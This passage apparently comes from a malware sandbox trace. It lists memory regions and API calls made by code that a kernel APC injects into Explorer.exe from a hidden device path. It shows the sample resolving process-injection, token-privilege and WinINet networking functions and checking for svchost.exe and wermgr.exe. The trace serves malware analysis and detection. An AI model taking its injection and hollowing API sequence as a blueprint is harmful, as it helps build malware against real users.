"\\Windows\\System32\\webcheck.dll" Region: id = 3858 start_va = 0x2d20000 end_va = 0x2d21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d20000" filename = "" Region: id = 3859 start_va = 0x2db0000 end_va = 0x2db1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002db0000" filename = "" Region: id = 3860 start_va = 0x7fef7a80000 end_va = 0x7fef7a8bfff entry_point = 0x7fef7a8602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" Region: id = 3861 start_va = 0x7fef7d50000 end_va = 0x7fef7dc3fff entry_point = 0x7fef7d566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" Region: id = 3862 start_va = 0x7fef81b0000 end_va = 0x7fef81e0fff entry_point = 0x7fef81b1b24 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" Region: id = 3863 start_va = 0x7fef81f0000 end_va = 0x7fef8244fff entry_point = 0x7fef81f26e4 region_type = mapped_file name = "hgcpl.dll" filename = "\\Windows\\System32\\hgcpl.dll" Region: id = 3864 start_va = 0x7fef83b0000 end_va = 0x7fef842efff entry_point = 0x7fef83b1070 region_type = mapped_file name = "imapi2.dll" filename = "\\Windows\\System32\\imapi2.dll" Region: id = 3865 start_va = 0x7fef8430000 end_va = 0x7fef865afff entry_point = 0x7fef8431f00 region_type = mapped_file name = "SyncCenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" Region: id = 3866 start_va = 0x7fef9960000 end_va = 0x7fef997ffff entry_point = 0x7fef9961010 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" Region: id = 3867 start_va = 0x7fef9990000 end_va = 0x7fef9996fff entry_point = 0x7fef9991b24 region_type = mapped_file name = "wlanutil.dll" filename = "\\Windows\\System32\\wlanutil.dll" Region: id = 3868 start_va = 0x7fefbd90000 end_va = 0x7fefbda4fff entry_point = 0x7fefbd91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" Region: id = 3869 start_va = 0x7fefdaa0000 end_va = 0x7fefdb30fff entry_point = 0x7fefdaa1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" Region: id = 3878 start_va = 0x7fef93d0000 end_va = 0x7fef942dfff entry_point = 0x7fef940a7fc region_type = mapped_file name = "WWanAPI.dll" filename = "\\Windows\\System32\\WWanAPI.dll" Region: id = 3879 start_va = 0x7fef9980000 end_va = 0x7fef998cfff entry_point = 0x7fef9987104 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" Region: id = 3880 start_va = 0x52f0000 end_va = 0x536ffff entry_point = 0x0 region_type = private name = "private_0x00000000052f0000" filename = "" Region: id = 3881 start_va = 0x7fef9910000 end_va = 0x7fef9954fff entry_point = 0x7fef9914190 region_type = mapped_file name = "QAGENT.DLL" filename = "\\Windows\\System32\\QAGENT.DLL" Region: id = 3882 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3883 start_va = 0x5260000 end_va = 0x52dffff entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 3884 start_va = 0x7fef7880000 end_va = 0x7fef7934fff entry_point = 0x7fef78a1cd0 region_type = mapped_file name = "bthprops.cpl" filename = "\\Windows\\System32\\bthprops.cpl" Thread: id = 252 os_tid = 0x1c8 [0088.207] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\explorer.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.207] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.210] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0088.210] IoIs32bitProcess (Irp=0x0) returned 0 [0088.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80037174b0 [0088.210] KeInitializeApc (Apc=0xfffffa80037174b0, Thread=0xfffffa80037e3b60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0088.210] KeInsertQueueApc (Apc=0xfffffa80037174b0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0088.210] ExFreePoolWithTag (P=0xfffffa80037174b0, Tag=0x0) [0088.210] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80037e2010 [0088.210] IoGetCurrentProcess () returned 0xfffffa80037ee060 [0088.210] PsGetCurrentProcessId () returned 0x140 [0088.210] IoIs32bitProcess (Irp=0x0) returned 0 [0088.210] KeInitializeEvent (in: Event=0xfffffa80037e2050, Type=0x0, State=0 | out: Event=0xfffffa80037e2050) [0088.210] ExQueueWorkItem (in: WorkItem=0xfffffa80037e2010*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80037e2010), QueueType=0x1 | out: WorkItem=0xfffffa80037e2010*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80037e2010)) [0088.233] KeWaitForMutexObject () returned 0x0 [0088.233] ExFreePoolWithTag (P=0xfffffa80037e2010, Tag=0x0) [0088.233] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.247] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.247] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.248] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.248] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.252] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.252] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.253] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.253] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.254] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.255] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.266] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ExplorerFrame.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.272] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\duser.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.274] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dui70.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.279] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.279] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.279] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.280] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.280] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.280] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.281] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.281] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.282] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\slc.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.282] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.283] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.283] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.284] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\propsys.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.339] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0088.339] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0088.339] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0088.339] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0088.339] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0088.339] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0088.339] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.339] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.340] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.340] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.340] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.350] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0088.350] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0088.350] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0088.350] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0088.350] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.352] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0088.352] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0088.352] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.353] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0088.353] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0088.353] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0088.353] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0088.353] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0088.353] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0088.353] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0088.355] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0088.355] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0088.355] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x12f188 | out: lpflOldProtect=0x12f188*=0x40) returned 1 [0088.355] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x12f188 | out: lpflOldProtect=0x12f188*=0x4) returned 1 [0088.355] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0088.355] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0088.355] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0088.355] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0088.355] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0088.355] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0088.356] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0088.357] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0088.358] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0088.358] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0088.358] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0088.358] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0088.358] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0088.359] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0088.359] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0088.359] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0088.359] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0088.359] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0088.359] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0088.359] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0088.359] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0088.359] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0088.359] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0088.359] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0088.359] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0088.359] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0088.359] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0088.360] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0088.361] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0088.362] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0088.363] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0088.364] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0088.364] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0088.364] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0088.364] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0088.364] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0088.364] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0088.364] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0088.364] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0088.366] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0088.366] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\Explorer.EXE") returned 0x17 [0088.366] PathFindFileNameA (pszPath="C:\\Windows\\Explorer.EXE") returned="Explorer.EXE" [0088.366] GetCommandLineA () returned="C:\\Windows\\Explorer.EXE" [0088.366] _strcmpi (_Str1="Explorer.EXE", _Str2="svchost.exe") returned -14 [0088.366] StrStrIA (lpFirst="Explorer.EXE", lpSrch="wermgr.exe") returned 0x0 [0088.367] HeapDestroy (hHeap=0x2400000) returned 1 [0088.405] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.429] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0088.460] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", 